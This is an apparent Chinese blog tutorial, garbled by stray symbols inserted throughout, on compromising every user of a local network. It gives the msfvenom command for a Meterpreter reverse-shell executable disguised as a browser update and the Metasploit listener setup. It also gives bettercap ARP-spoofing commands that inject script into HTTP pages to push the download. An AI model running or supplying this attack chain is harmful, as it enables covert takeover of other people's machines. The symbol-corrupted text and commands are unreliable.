目的(de)
通(tōng)過Arp欺騙， 給局域網內(nèi)的(de)所有(yǒu)用(yònΩ₩ g)戶網頁中植入木(mù)馬， 隻要(yào)用(yòng)戶運行(xíng)π₽σ★以後， 就(jiù)會(huì)反彈一(yī)個(gè)shell到(d₹§ào)我們計(jì)算(suàn)機(jī)
準備
kali系統
metaspolit的(de)使用(yòng)
Arp欺騙工(gōng)具：bettercap
博客園賬号密碼（用(yòng)來(lái)上(shàng)傳小(xiǎo)馬文(wén)件(<β≈jiàn)）
metaspolit小(xiǎo)馬的(de)準✔$備
因為(wèi)我本地(dì)的(de)ip為(wèi)151， 溢出後反彈的(✔Ωde)端口為(wèi)444， 使用(yòng)msfvenom生(shēng)成名字為(wèiδ×₽)run1.exe的(de)小(xiǎo)馬文(wén)件(jiàn)：
運行(xíng)下(xià)面代碼
msfvenom -p windows/meterpreter/reverse_tcp→↔ LHOST=192.168.1.151 LPORT=444 -f exe > run1.exe
文(wén)件(jiàn)是(shì)生(shēng)成了(le)，再把生(shēngα ™δ)成的(de)小(xiǎo)馬文(wén)件(jiàn)和(hé)其∏✔↑©它exe合并， 避免用(yòng)戶下(xià)載文(wén)件 ₽★(jiàn)的(de)時(shí)候起疑， 我使用(yòng)exebind這(zhè)個(γ±✘gè)老(lǎo)工(gōng)具：
把生(shēng)成的(de)exe文(wén)件(jiàn)放(fàng)到(•₹dào)服務器(qì)上(shàng)， 我是(shì)把文(wén)件(jiàn)壓縮以後， ≤₹•÷放(fàng)到(dào)博客園的(de)個(gè)人(ré♠n)空(kōng)間(jiān)上(shàng)， 文(wén)件(jiàn↓★)名字改為(wèi)浏覽器(qì)更新程序， 用(yòng)戶就(jiù)會(huì)以為(w♦£èi)要(yào)更新文(wén)件(jiàn)， 然後去γ✘€®(qù)下(xià)載并打開(kāi)這(zhè)個(g♣Ωè)文(wén)件(jiàn)
打開(kāi)msf的(de)控制(zhì)台，開(kāi)始監 '≈聽(tīng)本地(dì)的(de)端口
運行(xíng)下(xià)面代碼
use exploit/multi/handler set lhost 192.168.1.151 set lport 444 set payload windows/meterpreter/reverse_tcp exploit
bettercap執行(xíng)Arp欺騙
bettercap參考官網， 此處省略1W字， ↑>'£使用(yòng)bettercap的(de)添加html模塊， 給所有(yǒu)的(de)HT₽♠TP頁面添加JS代碼， 當用(yòng)戶點擊body标簽的(de)時(sh≈&í)候 ， 自(zì)動打開(kāi)新窗(chuāng)口并下(xià)↔¥載一(yī)個(gè)exe文(wén)件(jiàn)， 命令行(xíng)的(d≠π₹e)參數(shù)最好(hǎo)添加-G指定網關， 添加-T添加→<攻擊主機(jī)， 如(rú)果沒有(yǒu)指定-T參數(shù)，§§¥ 會(huì)欺騙局域網內(nèi)部的(de)所有(yǒu)設備， 欺₹ 騙越多(duō)， 别人(rén)越卡:
運行(xíng)下(xià)面代碼
sudo bettercap -I wlan0 -X -T 192.168.1.150 -G 192.168.1.1 --proxy-module=in✔$jecthtml --html-data "<script>document.body.onclick = f§γ§unction(){window.open('http®φ±₹://files.cnblogs.com/files/diligenceday ™¶ε/update.zip')} </sc©ript>"
隻要(yào)用(yòng)戶浏覽器(qì)網頁的(de)時(shí)候， 下(↓♠☆xià)載了(le)exe文(wén)件(jiàn)，并打開(kāi)了(le)該exe文(α÷φ∏wén)件(jiàn)， 那(nà)麽， 我們的(de)kali機(jī)器(≠qì)會(huì)收到(dào)一(yī)個(gè)反彈的(d¶£>•e)shell， 剩下(xià)的(de)就(jiù)是(shì)為(wèi)所欲為(wèi)了(♠$le)
欺騙全部計(jì)算(suàn)機(jī)：
如(rú)果相(xiàng)對(duì)局域網內(nèi)σ≈₩部的(de)所有(yǒu)計(jì)算(suàn)下(xià)手 ，bettercap的∑∏(de)命令不(bù)用(yòng)指定目标機(jī)器(qì)的(de)IP， 如(r♥↔ú)果被攻擊的(de)局域網流量比價高(gāo)的(de)情況下(xià)，這(zh★↑è)個(gè)局域網的(de)網絡會(huì)非常卡， 因為(wèi)所有(yγπ→ǒu)的(de)流量都(dōu)會(huì)走本地(dì)的(de)kali機(jī)器(qì)§ δ±， 測試代碼如(rú)下(xià)：
運行(xíng)下(xià)面代碼
sudo bettercap -I wlan0 -X -G 192.168.1.1 --proxy-module=injecthtml --html-data "<script>document.body±÷.onclick = function(){window.open('http☆♦₹://files.cnblogs.com/files/diligen✘ $ceday/update.zip')} </script>"
問(wèn)題：
因為(wèi)Arp欺騙的(de)緣故， 導緻π ∏被攻擊的(de)機(jī)器(qì)， 浏覽網頁的(de)§₽≥ε速度超級慢(màn)
如(rú)果用(yòng)戶浏覽器(qì)網頁的(de)∞₩≈σ時(shí)候， 如(rú)果走的(de)是(shì↕♠)Https協議(yì)的(de)話(huà) ， 無法添加自(zα✔ ₹ì)定義代碼到(dào)Html頁面中
放(fàng)在服務器(qì)上(shàng)的(de)小(xiǎo)σ♣馬文(wén)件(jiàn)， 最好(hǎo)要(yào)把http改成https， 否者，☆ 用(yòng)戶下(xià)載文(wén)件(jiàn)的(de)時(shí)候非常慢(m∏εàn)
本次滲透隻是(shì)拿(ná)我的(de)虛拟機(jī)進行(xíng← ↓¥)個(gè)人(rén)測試，并沒有(yǒu)搞破壞
在虛拟機(jī)的(de)情況下(xià)， 直接外(wài)$'$$接usb無線網卡， 然後把網橋關閉， 避免bettercap的(de)arp -a的(de)時(÷✘₩shí)候出問(wèn)題
需要(yào)攻擊的(de)時(shí)候，最好(hǎo)指定目标電★ (diàn)腦(nǎo)的(de)IP地(dì)址和(hé)局域網網關， 會(huì)更加保險，₩δ 确保能(néng)夠攻擊， 如(rú)果bettercap一(↓→±yī)條信息都(dōu)沒有(yǒu)嗅探到(dào)， 就(jiù)₹× ÷要(yào)看(kàn)看(kàn)是(shì)不(bù)是→≥λ♥(shì)哪裡(lǐ)出問(wèn)題了(le)
作(zuò)者： NONO
出處：http://www.cnblogs.com/diligenceday/
企業(yè)網站(zhàn)：/
開(kāi)源博客：http://www.github.com/sqqihao
QQ：287101329
微(wēi)信：18101055830
